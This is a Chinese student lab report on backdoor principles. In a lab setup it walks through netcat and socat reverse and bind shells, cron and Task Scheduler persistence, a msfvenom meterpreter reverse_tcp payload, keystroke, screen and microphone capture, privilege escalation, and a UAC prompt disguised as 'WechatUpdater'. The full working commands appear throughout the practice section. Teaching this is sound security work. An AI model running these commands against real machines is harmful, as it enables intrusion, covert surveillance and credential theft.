20155339平措卓玛Exp2 后门原理与实践
基础问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:下载并安装某个程序,这个程序可以正常的并且完整的为我们提供服务,但是在开发改程序时可能会设计了一个后门,我们安装程序的过程中也将该后门也装入了我们的系统中。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:win:作为一个程序、一个可执行文件,当我们在运行该程序或者该可执行文件时,后门就可以被开启;在本次试验中还有通过设置Windows->控制面板->管理工具->任务计划程序,新建任务来实现后门的开启。
Linux:通过crontab定时任务来启动。
(3)Meterpreter有哪些给你映像深刻的功能?
答:一旦控制了靶机,那么Meterpreter的功能非常强大,不止系统命令、核心命令,甚至还有一些用户接口,而且如果没有杀毒软件非常容易使用,也就是说稍微进行提升,那么杀毒软件也检测不出来,非常容易被攻击,一旦被攻击,可以通过击键记录获取个人信息,如密码、身份证号码等等,还可以使用摄像头,电视剧里用摄像头监视别人的桥段竟然可以这么简单的实现,太危险了。
(4)如何发现自己有系统有没有被安装后门?
答:首先一些杀毒软件的安装还是非常重要,低端的后门可以被系统的防火墙、杀毒软件还有入侵检测系统都可以查出;高端一点的后门应该就要下载专门的检测工具了,同时在上网搜索的过程中,发现了一种方法,在这里分享给大家,点击跳转。
实验总结与体会
这次实验很有趣,过了一把当“黑客”的瘾,但是与此同时让我有了很多担忧,看起来非常安全的电脑潜藏着这么多危险,不经意间下载的一个软件可能就会让你的信息毫无藏身之处,信息化的时代带来了很多便捷与此同时一些安全问题也的确不容忽视。
实践过程记录
Win获得Linux Shell
- 首先检查环境与配置,此处我们用的是netcat, 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
1.Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
2.Windows:需要载ncat.rar解压即可使用。 - 进入ncat目录,Windows打开监听:
ncat.exe -l -p 5339
。
其中-l
是监听-p
是端口,此处我开启的是本机5339号端口。 - Linux反弹连接win:
nc 172.30.1.92 5339 -e /bin/sh
,此处IP地址为主机的IP地址。 - windows下获得一个linux shell,可以运行指令进行操作,例如
ls
,cd
等,结果如下图:
Linux获得Win Shell
- Linux运行监听指令:
nc -l -p 5339
。 - Windows反弹连接Linux:
ncat.exe -e cmd.exe ip_of_linux 5339
- Linux下就可以看到Windows的命令提示,如下图所示:
使用netcat获取主机操作Shell,cron启动
- Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
- crontab指令增加一条定时任务:
crontab -e
,其中-e
表示编辑。 - 因为是第一次编辑,所以我们需要选择编辑器,此处我们选择3,并且添加一行:
20 * * * * /bin/netcat 172.30.1.92 5339 -e /bin/sh
,(该指令是在每个小时的第20分钟执行后面的指令)保存并退出,配置生效,可以通过crontab -l
来查看。当我在主机172.30.1.92的5339端口用nc侦听,那么到了第20分时就会获得虚拟机的shell,结果如下:
使用socat获取主机操作Shell,任务计划启动。
- 下载socat。
Windows->控制面板->管理工具->任务计划程序->创建任务,触发器设置为工作站锁定时以及对所有用户(如下图)。
在操作中的程序或脚本里选择下载的socat.exe的路径,添加参数中填入
tcp-listen:5339 exec:cmd.exe,pty,stderr
,该命令把cmd绑定到5339端口,同时把cmd的Stderr复位到stdout(如下图)。- 按win+L键锁定计算机,再次开启,之前创建的任务已经开始运行了。
在Kali中输入socat - tcp:172.30.1.92:5339,就可以获得靶机的shell了,如下图所示:
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
- 生成20155339.exe,在Kali中使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.224.129 LPORT=5339 -f exe > 20155339.exe
,其中IP为Kali的IP地址,稍作等待就会生成20155339.exe后门文件。
- 将其通过nc,传送到主机,在Windows中使用命令
ncat.exe -l 5339 > 20155339.exe
,在Kali中使用命令:。 nc 172.30.1.92 5339 < 20155339.exe
,这样就传送过来了。 - 为了验证是否必须在传送的目录才可以,我将其转移到另外一个目录下,所以以下实验我是在另一个盘里面弄的,经验证在别的目录下也是可以的。
在Kali中输入如下命令:
msfconsole
,set payload windows/meterpreter/reverse_tcp
,show options
得到下图所示:可以看到IP和端口都需要设置(因为此处的IP和端口需要与上面生成后门文件时的一致。所以
set LHOST 192.168.224.129
,set LPORT 5339
,再次show options
,得到如下图所示,即正确:- 输入
exploit
。 在Windows中双击运行20155339.exe,Kali得到shell,用
dir
命令测试,得到如下图所示:
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
-记录击键,keyscan_start
开始记录,keyscan_dump
显示出击键内容,keyscan_stop
停止记录,记录成功。
-
screenshot
命令用于截图,截图成功。 record_mic
命令用于录制音频,录制成功。webcam_snap
拍摄,但是未成功。getsystem
指令进行提权。
实验过程中遇到的问题
- 在刚开始实验的时候打开了8888端口,监听的也是8888端口,但是一直失败。
- 解决方法:将端口改为5339就成功了。
- 在使用crontab指令增加一条定时任务时,一直不成功。
- 解决方法:将定时任务指令加在第一行而不是最后一行,再次尝试就可以了。
- 任务计划一直无法运行。
- 解决方法:win+L快捷键使主机锁定再次进入就运行了。
- 使用MSF meterpreter无法获取目标主机视频,无法进行提权操作。
- 解决方法:1.对于无法获取视频,询问了同学,也上网进行搜索,尝试了各种方法,仍然不行,下图是尝试的部分截图,我尽力了,老师。2.对于提权,对网上的多个内容进行了搜索,当运行
getsystem
命令时,如果出现...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
,则说明自动提权成功,当这种命令下出现异常,则说明需要迁移到一个以SYSTEM
系统权限运行的进程中,这样就有很多方法,方法一就是可以利用溢出漏洞模块提权,如ms13_053,ms14_058,ms16_016,ms16_032等,用windows提权漏洞提权时,会直接返回高权限meterpreter shell,所以不需要再执行getsystem命令;方法二是AlwaysInstallElevated
提权,AlwaysInstallElevated
是微软允许非授权用户以SYSTEM
权限运行安装文件(MSI
)的一种设置,还有一个方法就是用exploit/windows/local/ask,模拟一个UAC确认窗口,欺骗用户点击,从而获取权限。这里我将应用程序的名字(FILENAME参数)设置成为“WechatUpdater”,比较引诱大家点击,具体步骤如下图3,这个过程中Windows会收到下图4所示窗口,需要点击确认。